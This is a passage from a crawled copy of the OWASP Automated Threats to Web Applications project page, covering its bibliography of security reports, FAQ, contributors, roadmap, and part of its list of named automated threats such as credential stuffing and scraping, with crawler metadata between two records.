Avoiding the Top 10 Software Security Design Flaws http://cybersecurity.ieee.org/images/files/images/pdf/CybersecurityInitiative-online.pdf\n- Bad Bots On The Rise Dec 2014 http://www.darkreading.com/informationweek-home/bad-bots-on-the-rise/d/d-id/1318276\n- Banking Botnets Persist Despite Takedowns, Dell SecureWorks, 2015 http://www.secureworks.com/cyber-threat-intelligence/threats/banking-botnets-persist-despite-takedowns/\n- The Barracuda Web Application Firewall: XML Firewall https://www.barracuda.com/assets/docs/White_Papers/Barracuda_Web_Application_Firewall_WP_XML_Firewall.pdf\n- Blocking Brute Force Attacks http://www.cs.virginia.edu/~csadmin/gen_support/brute_force.php\n- Bot Traffic Growing Problem for Digital Oct 2014 http://www.netnewscheck.com/article/36537/bot-traffic-growing-problem-for-digital\n- BotoPedia Incapsula http://www.botopedia.org/\n- Boy in the Browser Imperva http://www.imperva.com/DefenseCenter/ThreatAdvisories/Boy_in_the_Browser\n- Business Logic Attacks - Bots and BATs, Eldad Chai, 2009 http://www.owasp.org/images/9/96/AppSecEU09_BusinessLogicAttacks_EldadChai.ppt\n- Bypassing Client Application Protection Techniques http://www.securiteam.com/securityreviews/6S0030ABPE.html\n- A CAPTCHA in the Rye Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_a_CAPTCHA_in_the_Rye.pdf\n- Characterizing Large Scale Click fraud http://cseweb.ucsd.edu/~voelker/pubs/za-ccs14.pdf\n- Charter Addition Proposal: “Trusted Code” for the Web https://lists.w3.org/Archives/Public/public-webappsec/2015Mar/0150.html\n- A cheesy Apache / IIS DoS vuln (+a question) http://www.securityfocus.com/archive/1/456339/30/0/threaded\n- China’s Man-on-the-Side Attack on GitHub http://www.netresec.com/?page=Blog&month=2015-03&post=China%27s-Man-on-the-Side-Attack-on-GitHub\n- The CISO Survey and Report, OWASP, 2013 https://www.owasp.org/index.php/File:Owasp-ciso-report-2013-1.0.pdf\n- Common Attack Pattern Enumeration and Classification (CAPEC), Mitre https://capec.mitre.org/\n- Common Cyber Attacks: Reducing the Impact CERT-UK https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/400106/Common_Cyber_Attacks-Reducing_The_Impact.pdf\n- Corporate espionage – the internet’s new growth industry http://www.itproportal.com/2015/03/19/corporate-espionage-internets-new-growth-industry/\n- CSA Top Threats to Cloud Computing https://cloudsecurityalliance.org/topthreats/csathreats.v1.0.pdf\n- CSRF vulnerability in GMail service http://seclists.org/fulldisclosure/2009/Mar/29\n- CWE/SANS Top 25 Most Dangerous Software Errors, 2011 http://cwe.mitre.org/top25/\n- Cyber Fraud - Tactics Techniques and Procedures http://www.crcpress.com/product/isbn/9781420091274\n- Cybercrime Report: Q1 2015, ThreatMetrix, 2015 http://info.threatmetrix.com/WP-2015Q1CybercrimeReport_WP-LP.html\n- Data Breach Investigations Report (DBIR), 2014 http://www.verizonenterprise.com/DBIR/2014/\n- Data Breach Investigations Report (DBIR), 2015 http://www.verizonenterprise.com/DBIR/2015/\n- Data Breaches Fuel Login Attacks Akamai Feb 2015 http://www.stateoftheinternet.com/downloads/pdfs/2014-state-of-the-internet-threat-advisory-public-data-breaches-fuel-login-attacks.pdf\n- Data Scraping Wikipedia http://en.wikipedia.org/wiki/Data_scraping\n- DDoS Quick Guide https://www.us-cert.gov/sites/default/files/publications/DDoS%20Quick%20Guide.pdf\n- DDoS Threat Landscape Report, 2013-2014 http://lp.incapsula.com/rs/incapsulainc/images/2013-14_ddos_threat_landscape.pdf\n- Defending Against an Internet-based Attack on the Physical World http://avirubin.com/scripted.attacks.pdf\n- Defending Against Application-Based DDoS Attacks with the Barracuda Web Application Firewall https://www.barracuda.com/assets/docs/White_Papers/Barracuda_Web_Application_Firewall_WP_Defending%20 *Against* %20Application-Based_%20DDoS_%20Attacks.pdf\n- Demystifying HTML 5 Attacks http://resources.infosecinstitute.com/demystifying-html-5-attacks/\n- Denial of Service Attacks: A Comprehensive Guide to Trends Techniques and Technologies Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_Denial_of_Service_Attacks-Trends_Techniques_and_Technologies.pdf\n- Detecting and Blocking Site Scraping Attacks Imperva http://www.imperva.com/docs/WP_Detecting_and_Blocking_Site_Scraping_Attacks.pdf\n- Detecting Automation of Twitter Accounts: Are you a human cyborg or a bot? http://www.cs.wm.edu/~hnw/paper/tdsc12b.pdf\n- Detecting Malice Robert “RSnake” Hansen 2009 http://www.detectmalice.com/\n- Directive 2002/58/EC of the European Parliament and of the Council of 12 July 2002 concerning the processing of personal data and the protection of privacy in the electronic communications sector (Directive on privacy and electronic communications) http://eur-lex.europa.eu/legal-content/EN/TXT/?qid=1414072277428&uri=CELEX:32002L0058\n- Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data http://eur-lex.europa.eu/legal-content/en/ALL/?uri=CELEX:31995L0046\n- Distributed Denial-of-Service (DDoS) Cyber-Attacks Risk Mitigation and Additional Resources Federal Financial Institutions Examination Council http://www.ffiec.gov/press/PDF/FFIEC%20DDoS%20Joint%20Statement.pdf\n- Do Evil - The Business of Social Media Bots Forbes http://www.forbes.com/sites/lutzfinger/2015/02/17/do-evil-the-business-of-social-media-bots/\n- DoS and DDoS Glossary of Terms prolexic http://www.prolexic.com/knowledge-center-dos-and-ddos-glossary.html#layer-7-ddos-attack\n- E-commerce Malware Trustwave https://gsr.trustwave.com/topics/placeholder-topic/e-commerce-malware/\n- Exploiting Software, G. Hoglund and G. McGraw, Addison-Wesley, 2004\n- Five Trends to Track in E-Commerce Fraud, ThreatMetrix, 2013 http://info.threatmetrix.com/rs/threatmetrix/images/Five_Trends_eCommerce_Fraud_WP.pdf\n- Hacker builds cheatbot for hit app Trivia Crack http://www.theregister.co.uk/2015/03/26/hacker_builds_trivia_crack_cheat_app/\n- Has Walmart opened itself up to “Denial of inventory” attacks? https://arstechnica.com/business/2012/05/has-walmart-opened-itself-up-to-denial-of-inventory-attacks/\n- How Hoarder Bots Steal sales from Online Retailers https://www.internetretailer.com/mobile/2016/12/16/how-hoarder-bots-steal-sales-online-retailers\n-\n - How to Defend Against DDoS Attacks - Strategies for the Network Transport and Application Layers Prolexic http://www.prolexic.com/kcresources/white-paper/strategies-for-the-network-transport-and-application-layers-412/Strategies_for_the_Network_Transport_and_Application_Layers_Prolexic_White_Paper_A4_082412.pdf\n- How to Defend Online Travel Websites in the Era of Site Scraping, Distil Networks http://www.distilnetworks.com/defend-online-travel-websites-era-site-scraping-download/\n- How to Shop for Free Online - Security Analysis of Cashier-as-a-Service Based Web Stores http://research.microsoft.com/pubs/145858/caas-oakland-final.pdf\n- HTML5 Overview A look at HTML5 Attack Scenarios Trend Micro 2011 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/reports/rpt_html5-attack-scenarios.pdf\n- HTML5 Top 10 Threats Stealth Attacks and Silent Exploits 2012 https://media.blackhat.com/bh-eu-12/shah/bh-eu-12-Shah_HTML5_Top_10-WP.pdf\n- HTML5 web security 2011 http://media.hacking-lab.com/hlnews/HTML5_Web_Security_v1.0.pdf\n- HTTPPOST - Slow POST Wong Onn Chee OWASP AppSec DC 2010 https://www.owasp.org/images/4/43/Layer_7_DDOS.pdf\n- If you’ve got @British_Airways account may make sense to change your password. Just had all my Avios cleared out! https://twitter.com/suttonnick/status/581556027948195840/photo/1\n- Internet Security Threat Report, Volume 19, 2014 http://www.symantec.com/content/en/us/enterprise/other_resources/b-istr_main_report_v19_21291018.en-us.pdf\n- An Investigation into the Detection and Mitigation of Denial of Service (DoS) Attacks http://www.springer.com/gb/book/9788132202769\n- Is Your Data Center Ready for Today’s DDoS Threats? DDoS attack types protection methods and testing your detection and mitigation defenses http://www.fortinet.com/sites/default/files/whitepapers/WP-DDoS-Testing.pdf\n- Joomla Reflection DDoS-for-Hire Akamai Feb 2015 http://www.stateoftheinternet.com/downloads/pdfs/2015-state-of-the-internet-threat-advisory-joomla-reflection-attack-ddos-for-hire.pdf\n- Layer 7 DDOS – Blocking HTTP Flood Attacks http://blog.sucuri.net/2014/02/layer-7-ddos-blocking-http-flood-attacks.html\n- Lenovo Superfish put smut on my system’ – class-action lawsuit The Register http://www.theregister.co.uk/2015/02/23/lenovo_superfish_class_action_lawsuit/\n- List of Attack Vectors Relative Vulnerability Rating TECAPI http://www.tecapi.com/public/relative-vulnerability-rating-gui.jsp#\n- Man in the Browser http://scisweb.ulster.ac.uk/~kevin/IJACI-Vol4No1-maninbrowser.pdf\n- Man in the Browser Attack https://www.owasp.org/index.php/Man-in-the-browser_attack\n- Mapping and Measuring Cybercrime, Oxford Internet Institute http://www.oii.ox.ac.uk/publications/FD18.pdf\n- Massive Changes in the Criminal Landscape Europol 2015 https://www.europol.europa.eu/content/massive-changes-criminal-landscape\n- Matching Attack Patterns to Security Vulnerabilities in Software-Intensive System Designs http://collaboration.csc.ncsu.edu/laurie/Papers/ICSE_Final_MCG_LW.pdf\n- Mitigating DDoS Attacks with F5 Technology F5 https://f5.com/resources/white-papers/mitigating-ddos-attacks-with-f5-technology\n- Mitigating the DoS/DDosS Threat, Radware, 2012 http://www.radware.com/PleaseRegister.aspx?returnUrl=6442452061\n- Modern Web Attacks, Sophos, 2007 http://www.sophos.com/en-us/why-sophos/our-people/technical-papers/modern-web-attacks.aspx\n- ModSecurity Advanced Topic of the Week: Mitigating Slow HTTP DoS Attacks https://www.trustwave.com/Resources/SpiderLabs-Blog/(Updated)-ModSecurity-Advanced-Topic-of-the-Week–Mitigating-Slow-HTTP-DoS-Attacks/\n- Most common attacks on web applications https://ipsec.pl/web-application-security/most-common-attacks-web-applications.html\n- Multi-dimensional Vulnerability Hierarchies Daniel Miessler https://danielmiessler.com/study/multi-dimensional-vulnerability-hierarchies/\n- New Wave of DDoS Attacks Launched BankInfoSecurity.com Mar 2013 http://www.bankinfosecurity.com/new-wave-ddos-attacks-launched-a-5584/op-1\n- NOMAD: Toward Non-Invasive Moving Target Defense Against Web Bots http://faculty.cs.tamu.edu/guofei/paper/NOMAD_CNS13.pdf\n- Online Ad Fraud Exposed: Advertisers Losing $6.3 Billion To $10 Billion Per Year Sep 2014 http://www.darkreading.com/analytics/threat-intelligence/online-ad-fraud-exposed-advertisers-losing-$63-billion-to-$10-billion-per-year/d/d-id/1317979\n- Online Data Companies versus Bots: The Fight is on for Control of Online Data, Distil Networks http://www.distilnetworks.com/online-data-companies-vs-bots-download/\n- Optimal Airline Ticket Purchasing Using Automated User-Guided Feature Selection http://ijcai.org/papers13/Papers/IJCAI13-032.pdf\n- Payment Checkout Flaws and Bugs 2014 https://www.clerkendweller.uk/2014/11/4/Payment-Checkout-Flaws-and-Bugs\n- PCI Compliance Report 2015 Verizon http://www.verizonenterprise.com/pcireport/2015/\n- Pixel Perfect Timing Attacks with HTML5 2013 http://www.contextis.com/services/research/white-papers/pixel-perfect-timing-attacks-html5/\n- Polymorphism as a Defense for Automated Attack of Websites http://link.springer.com/chapter/10.1007%2F978-3-319-07536-5_30\n- Preventing Web Scraping: Best Practice https://creativedigitalideas.files.wordpress.com/2014/11/best-practice-to-prevent-web-scraping.pdf\n- Profile: Automated Credit Card Fraud http://old.honeynet.org/papers/profiles/cc-fraud.pdf\n- Protecting Against Web Floods, Radware http://www.radware.com/PleaseRegister.aspx?returnUrl=6442452968\n- Q4 2014 State of the Internet Security Report prolexic http://www.stateoftheinternet.com/downloads/pdfs/2014-internet-security-report-q4.pdf\n- Reflection injection http://cybersecurity.ieee.org/images/files/images/pdf/CybersecurityInitiative-online.pdf\n- A Report on taxonomy and evaluation of existing inventories, ENISAhttp://ecrime-project.eu/wp-content/uploads/2015/02/E-Crime-Deliverable-2-1-20141128_FINAL.pdf\n- Reporting Intellectual Property Crime: A Guide for Victims of Copyright Infringement, Trademark Counterfeiting, and Trade Secret Theft, Dept of Justice http://www.justice.gov/criminal/cybercrime/docs/ip-victim-guide-and-checklist-march-2013.pdf\n- SANS Top 20 Critical Controls https://www.sans.org/critical-security-controls/\n- Securing Websites, Sophos, 2011 http://www.sophos.com/en-us/why-sophos/our-people/technical-papers/securing-websites.aspx\n- Security Insights: Defending Against Automated Threats http://www.securityweek.com/security-insights-defending-against-automated-threats\n- Server side DDoS Imperva http://www.imperva.com/DefenseCenter/ThreatAdvisories/DDOS_Attack_Method_Payload_05182010\n- Slow Read Denial of Service attack https://code.google.com/p/slowhttptest/wiki/SlowReadTest\n- Slow-Read DoS Attack https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-Advanced-Topic-of-the-Week–Mitigation-of–Slow-Read–Denial-of-Service-Attack/\n- Slowloris HTTP DoS http://ha.ckers.org/slowloris/\n- So what are the “most critical” application flaws? On new OWASP Top 10 https://ipsec.pl/application-security/2013/so-what-are-most-critical-application-flaws-new-owasp-top-10.html\n- Social Media Bots Offer Phony Friends and Real Profit NY Times http://www.nytimes.com/2014/11/20/fashion/social-media-bots-offer-phony-friends-and-real-profit.html?_r=1\n- Software Vulnerability Analysis, Krsul, 1998 http://www.krsul.org/ivan/articles/main.pdf\n- Sophos Security Threat Report http://blogs.sophos.com/2014/12/11/our-top-10-predictions-for-security-threats-in-2015-and-beyond/\n- SpoofedMe Social Login Attack Discovered by IBM X-Force Researchers http://securityintelligence.com/spoofedme-social-login-attack-discovered-by-ibm-x-force-researchers/#.VSuiEhPSngM\n- State of Software Security Report, Volume 5, Veracode, 2013 https://info.veracode.com/state-of-software-security-report-volume5.html\n- Stopping Automated Attack Tools http://www.technicalinfo.net/papers/StoppingAutomatedAttackTools.html\n- Taxonomy on Online Game Security http://www.math.snu.ac.kr/~jhcheon/publications/2004/Taxonomy%20on%20online%20game%20security_EL.pdf\n- A Taxonomy of Computer Program Security Flaws, with Examples, Landwehr https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf\n- A Taxonomy of Security Faults in the UNIX Operating System, Aslam, 1995 https://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf\n- Testing Guide, v4, OWASP, 2014 https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf\n- The Bot Baseline: Fraud in Digital Advertising https://s3.amazonaws.com/whiteops-public/WO-ANA-Baseline-Study-of-Bot-Fraud.pdf\n- The Internet Organised Crime Threat Assessment (iOCTA) 2014 https://www.europol.europa.eu/content/internet-organised-crime-threat-assesment-iocta\n- The Notorious Nine Cloud Computing Top Threats in 2013 CSA https://downloads.cloudsecurityalliance.org/initiatives/top_threats/The_Notorious_Nine_Cloud_Computing_Top_Threats_in_2013.pdf\n- The Risks of Content Management Systems, IBM, 2015 https://portal.sec.ibm.com/mss/html/en_US/support_resources/pdf/CMS_Threats_MSS_Threat_Report.pdf\n- The Spy in the Sandbox – Practical Cache Attacks in Javascript http://iss.oy.ne.ro/SpyInTheSandbox.pdf\n- Thousands of Hacked Uber Accounts Selling on Dark Web for $1 http://thehackernews.com/2015/03/thousands-of-hacked-uber-accounts_30.html?m=1\n- Threat Intelligence Quarterly, IBM, 1Q 2015 https://www.ibm.com/services/forms/signup.do?source=swg-WW_Security_Organic&S_PKG=ov33510&S_TACT=C327017W&dynform=18101\n- Threat Modeling: Designing for Security, Adam Shostack, Wiley, April 2014 http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118809998.html\n- Threats and Mitigations: A Guide to Multi-Layered Web Security - eBook Prolexic http://www.prolexic.com/knowledge-center/prolexic-download/guide-multi-layered-web-security-ebook.pdf\n- Trapping Unknown Malware in a Context Web, Sophos http://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/HuqSzabo-VB2013.pdf?la=en.pdf\n- Trustwave Global Security Report 2014 https://www2.trustwave.com/GSR2014.html?utm_source=redirect&utm_medium=web&utm_campaign=GSR2014\n- TurboTax’s Anti-Fraud Efforts Under Scrutiny http://krebsonsecurity.com/2015/02/turbotaxs-anti-fraud-efforts-under-scrutiny/\n- Two Security Vulnerabilities in the Spring Framework’s MVC pdf (from 2008) http://blog.diniscruz.com/2011/07/two-security-vulnerabilities-in-spring.html\n- The Underground Economy of Spam: A Botmaster’s Perspective of Coordinating Large-Scale Spam Campaigns http://static.usenix.org/events/leet11/tech/full_papers/Stone-Gross.pdf\n- Understanding Web Bots and How They Hurt Your Business Encapsula http://www.slideshare.net/Incapsula/understanding-web-bots-and-how-they-hurt-your-business\n- Use of A Taxonomy of Security Faults, Taimur Aslam, Ivan Krsul and Eugene H Spafford, 1996 http://docs.lib.purdue.edu/cgi/viewcontent.cgi?article=2304&context=cstech\n- The WASC Threat Classification v2.0 http://projects.webappsec.org/w/page/13246978/Threat%20Classification\n- Warhol Worms: The Potential for Very Fast Internet Plagues http://www.iwar.org.uk/comsec/resources/worms/warhol-worm.htm\n- Web Application Attack Report #5 Imperva http://www.imperva.com/docs/HII_Web_Application_Attack_Report_Ed5.pdf\n- Web Application Defender’s Cookbook: Battling Hackers and Protecting Users, Ryan Barnett, Wiley, December 2012 http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118362187.html\n- Web Attacks in the Wild Corsaire https://www.owasp.org/images/a/a7/Web_attacks_in_the_wild_-_ap.pdf\n- Web Automation Friend or Foe? https://www.owasp.org/images/5/58/OWASP_Israel_- *May_2009* - *Ofer_Shezaf* -_Automation_Attacks.pdf\n- Web Spambot Detection Based on Web Navigation Behaviour http://pedramhayati.com/papers/Web_Spambot_Detection_Based_on_Web_Usage_Behaviour.pdf\n- Website Security Statistics Report, 2014 http://info.whitehatsec.com/rs/whitehatsecurity/images/statsreport2014-20140410.pdf\n- What is Zeus? http://www.sophos.com/medialibrary/pdfs/technical%20papers/sophos%20what%20is%20zeus%20tp.pdf\n- When Web 2.0 Attacks! Understanding Ajax Flash and other highly interactive web technologies… https://www.owasp.org/images/f/fc/When_Web_2.0 *Attacks* -_Understanding_Security_Implications_of_Highly_Interactive_Technologies-Rafal_Los.pdf\n- Where have all of our Passwords Gone? Gartner 2015 http://blogs.gartner.com/avivah-litan/2015/01/22/where-have-all-our-passwords-gone/\n- WS-Attacks.org http://www.ws-attacks.org/index.php/Main_Page\n\n---\n\n## Frequently Asked Questions\n\n### When will it be updaated next?\n\nA new edition is in progress and will be published in April-May 2025.\n\n### What do you mean by “web”, “application” and “automated threat”?\n\nSee the definitions in the project’s [glossary](/www-project-automated-threats-to-web-applications#div-scope).\n\n### What is an “ontology”?\n\nAn ontology is a set of types, properties, and relationship. These together define a subject description language. This particular ontology is meant to represent what automated threats real world owners observe affecting their web applications in usual operations.\n\n### Isn’t this another bug (vulnerability) list?\n\nNo, none of the named automated threat events are implementation bugs - they relate to abuse of functionality using automated means.\n\n### But is it an OWASP Top N List?\n\nAgain no, it’s an ontology which currently contains 21 items but there may be more identified in the future. Also it is not an ordered list (like OWASP Top N lists) - the OAT identification numbers were randomly assigned, so the list is often written in alphabetical order to emphasize this.\n\n### I thought “so and so” already did that?\n\nWe found that it did not exist. While many threats are mentioned in the sources researched, there was no overall list or definitions. We found the automated threat events tended to all be in a small number of definied items from Mitre CAPEC and WASC Threat Classification. If you know of other automated threat lists/taxonomies/ontologies, please share them.\n\n### What is an “oat”?\n\nIt is our abbreviation for OWASP Automated Threat (OAT).\n\n### I am confused and don’t know which OAT my problem is - how do I identify it?\n\nIn 2017 we created a [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) to help identify the correct OAT, which can then be confirmed by reading the full description in the [handbook](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN). The short summaries are important explanations of each OAT name.\n\n## How can I help?\n\nPlease join our [Google Group](https://groups.google.com/a/owasp.org/forum/#!forum/automated-threats-project), send ideas, contribute clarifications, corrections and improvement, and let other people know about the project and its handbook.\n\n---\n\n## Acknowledgements and Sponsors\n\n### Contributors\n\n- Sumit Agarwal\n- Areejit Banerjee\n- Jason Chan\n- Cassio Goldschmidt\n- Mark Hall\n- Omri Iluz\n- Brian Jones\n- José Santos Martins Pereira\n- Shunji Matsuzawa\n- Jarrod Overson\n- Andrew van der Stock\n- Frank Walsh\n- Roland Weber\n- [Colin Watson](mailto:colin.watson@owasp.org)\n- [Tin Zaw](mailto:tin.zaw@owasp.org)\n\nAdditionally other professional colleagues and website owners and operators who provided feedback.\n\n### Reviewers of v1.0\n\n- Igor Andriushchenko\n- Gabriel Mendez Justiniano\n- Matt Tesauro\n\n### Sponsors\n\nAll OWASP Projects are run and developed by volunteers and rely on personal donations and sponsorship to continue their development. OWASP does not endorse or recommend commercial products or services, allowing our community to remain vendor neutral with the collective wisdom of the best minds in software security worldwide.\n\nThis project has received the sponsorship part of their Corporate OWASP membership fees from Verizon Digital Media Services in 2016 and Distil Networks in 2017, which contributed to the v1.2 production design costs and towards promoting knowledge about the project.\n\n---\n\n## Road Map and Getting Involved\n\nWe want to keep the Automated Threat Handbook Updated. A new edition, v1.3, was published on 17th March 2026.\n\nCan you help? The project is looking for information on the prevalence and types of automated threats seen by web application owners in the real world. This will be used to refine and organise the information gathered from research papers, whitepapers, security reports and industry news. Please use the project’s [Google Group](https://groups.google.com/a/owasp.org/forum/#!forum/automated-threats-project) to keep up-to-date with what’s going on, and to contribute your ideas, feedback, and experience:\n\nTo share information confidentially, you can email the project leaders directly: [Tin Zaw](mailto:tin.zaw@owasp.org) and [Colin Watson](mailto:colin.watson@owasp.org).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 48374, "slov": 5441, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:02", "sha256": "07c3e9f9d3bb57226c150c5890455d066c3dc279cce79d50200dee1ce0b13b32", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.youtube.com/watch?v=6cNwrtzPP1E", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "http://creativecommons.org/licenses/by-sa/3.0/", "http://pubs.opengroup.org/onlinepubs/9699919899/toc.pdf", "http://nvlpubs.nist.gov/nistpubs/ir/2013/NIST.IR.7298r2.pdf", "http://en.wikipedia.org/wiki/OSI_model", "http://en.wikipedia.org/wiki/Internet_protocol_suite", "http://www.w3.org/TR/webarch/", "http://www.w3.org/Help/", "https://capec.mitre.org/", "https://capec.mitre.org/data/definitions/3000.html", "https://capec.mitre.org/data/definitions/437.html", "https://capec.mitre.org/data/definitions/513.html", "http://projects.webappsec.org/w/page/13246978/Threat%20Classification", "https://wiki.owasp.org/index.php/OWASP_WASC_Web_Hacking_Incidents_Database_Project", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://groups.google.com/a/owasp.org/forum/", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/", "titulek": "OWASP Automated Threats to Web Applications | OWASP Foundation", "h1": "OWASP Automated Threats to Web Applications", "popis": "OWASP Automated Threats to Web Applications on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Automated Threats to Web Applications on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Automated Threats to Web Applications | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Automated Threats to Web Applications"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Automated Threats"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Scope and Definitions"}, {"uroven": 3, "text": "Scope"}, {"uroven": 3, "text": "Definitions"}, {"uroven": 4, "text": "Automated Threats to Web Applications"}, {"uroven": 3, "text": "Glossary"}, {"uroven": 4, "text": "Action"}, {"uroven": 4, "text": "Application"}, {"uroven": 4, "text": "Application layer"}, {"uroven": 4, "text": "Threat"}, {"uroven": 4, "text": "Threat Agent"}, {"uroven": 4, "text": "Threat Event"}, {"uroven": 4, "text": "Web"}, {"uroven": 4, "text": "Web application"}, {"uroven": 2, "text": "Use Case Scenarios"}, {"uroven": 3, "text": "Defining application development security requirements"}, {"uroven": 3, "text": "Sharing intelligence within a sector"}, {"uroven": 3, "text": "Exchanging threat data between CERTs"}, {"uroven": 3, "text": "Enhancing application penetration test findings"}, {"uroven": 3, "text": "Specifying service acquisition needs"}, {"uroven": 3, "text": "Characterising vendor services"}, {"uroven": 2, "text": "Ontology"}, {"uroven": 3, "text": "Introduction"}, {"uroven": 3, "text": "Comparison with other dictionaries, taxonomies and lists"}, {"uroven": 4, "text": "Common Attack Pattern Enumeration and Classification (CAPEC)"}, {"uroven": 4, "text": "WASC Threat Classification"}, {"uroven": 4, "text": "OWASP WASC Web Hacking Incidents Database Project (WHID)"}, {"uroven": 2, "text": "Bibliography"}, {"uroven": 2, "text": "Frequently Asked Questions"}, {"uroven": 3, "text": "When will it be updaated next?"}, {"uroven": 3, "text": "What do you mean by “web”, “application” and “automated threat”?"}, {"uroven": 3, "text": "What is an “ontology”?"}, {"uroven": 3, "text": "Isn’t this another bug (vulnerability) list?"}, {"uroven": 3, "text": "But is it an OWASP Top N List?"}, {"uroven": 3, "text": "I thought “so and so” already did that?"}, {"uroven": 3, "text": "What is an “oat”?"}, {"uroven": 3, "text": "I am confused and don’t know which OAT my problem is - how do I identify it?"}, {"uroven": 2, "text": "How can I help?"}, {"uroven": 2, "text": "Acknowledgements and Sponsors"}, {"uroven": 3, "text": "Contributors"}, {"uroven": 3, "text": "Reviewers of v1.0"}, {"uroven": 3, "text": "Sponsors"}, {"uroven": 2, "text": "Road Map and Getting Involved"}], "markdown": "# OWASP Automated Threats to Web Applications\n\nThe OWASP Automated Threats to Web Applications Project completed a review of reports, academic and other papers, news stories and vulnerability taxonomies/listings to identify, name and classify these scenarios – automated by software causing a divergence from accepted behavior producing one or more undesirable effects on a web application, but excluding tool-based exploitation of single-issue vulnerabilities. The initial objective was to produce an ontology providing a common language for developers, architects, operators, business owners, security engineers, purchasers and suppliers/ vendors, to facilitate clear communication and help tackle the issues. The project also identifies symptoms, mitigations and controls in this problem area. The project team monitor changes and possible additions to keep the handbook updated. Like all OWASP outputs, everything is free and published using an open source license.\n\nWatch a video which provides a brief introduction to the OWASP Automated Threats to Web Applications Project called “Automated Threats - Web’s Hidden Puppeteers”:\n\n## Description\n\nWeb applications are subjected to unwanted automated usage – day in, day out. Often these events relate to misuse of inherent valid functionality, rather than the attempted exploitation of unmitigated vulnerabilities. Also, excessive misuse is commonly mistakenly reported as application denial-of-service (DoS) like HTTP-flooding, when in fact the DoS is a side-effect instead of the primary intent. Frequently these have sector-specific names. Most of these problems seen regularly by web application owners are not listed in any OWASP Top Ten or other top issue list. Furthermore, they are not enumerated or defined adequately in existing dictionaries. These factors have contributed to inadequate visibility, and an inconsistency in naming such threats, with a consequent lack of clarity in attempts to address the issues.\n\nWithout sharing a common language between devops, architects, business owners, security engineers, purchasers and suppliers/vendors, everyone has to make extra effort to communicate clearly. Misunderstandings can be costly. The adverse impacts affect the privacy and security of individuals as well as the security of the applications and related system components.\n\n## Automated Threats\n\nThe list of threat events, defined more fully in the [OWASP Automated Threat Handbook](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), is alphabetically:\n\n- [OAT-020 Account Aggregation](assets/oats/EN/OAT-020_Account_Aggregation.html)\n- [OAT-019 Account Creation](assets/oats/EN/OAT-019_Account_Creation.html)\n- [OAT-003 Cost-Inflation Fraud](assets/oats/EN/OAT-003_Cost-Inflation_Fraud.html)\n- [OAT-009 CAPTCHA Defeat](assets/oats/EN/OAT-009_CAPTCHA_Defeat.html)\n- [OAT-010 Card Cracking](assets/oats/EN/OAT-010_Card_Cracking.html)\n- [OAT-001 Carding](assets/oats/EN/OAT-001_Carding.html)\n- [OAT-012 Cashing Out](assets/oats/EN/OAT-012_Cashing_Out.html)\n- [OAT-007 Credential Cracking](assets/oats/EN/OAT-007_Credential_Cracking.html)\n- [OAT-008 Credential Stuffing](assets/oats/EN/OAT-008_Credential_Stuffing.html)\n- [OAT-021 Denial of Inventory](assets/oats/EN/OAT-021_Denial_of_Inventory.html)\n- [OAT-015 Denial of Service](assets/oats/EN/OAT-015_Denial_of_Service.html)\n- [OAT-006 Expediting](assets/oats/EN/OAT-006_Expediting.html)\n- [OAT-004 Fingerprinting](assets/oats/EN/OAT-004_Fingerprinting.html)\n- [OAT-018 Footprinting](assets/oats/EN/OAT-018_Footprinting.html)\n- [OAT-005 Scalping](assets/oats/EN/OAT-005_Scalping.html)\n- [OAT-011 Scraping](assets/oats/EN/OAT-011_Scraping.html)\n- [OAT-016 Skewing](assets/oats/EN/OAT-016_Skewing.html)\n- [OAT-013 Sniping](assets/oats/EN/OAT-013_Sniping.html)\n- [OAT-017 Spamming](assets/oats/EN/OAT-017_Spamming.html)\n- [OAT-002 Token 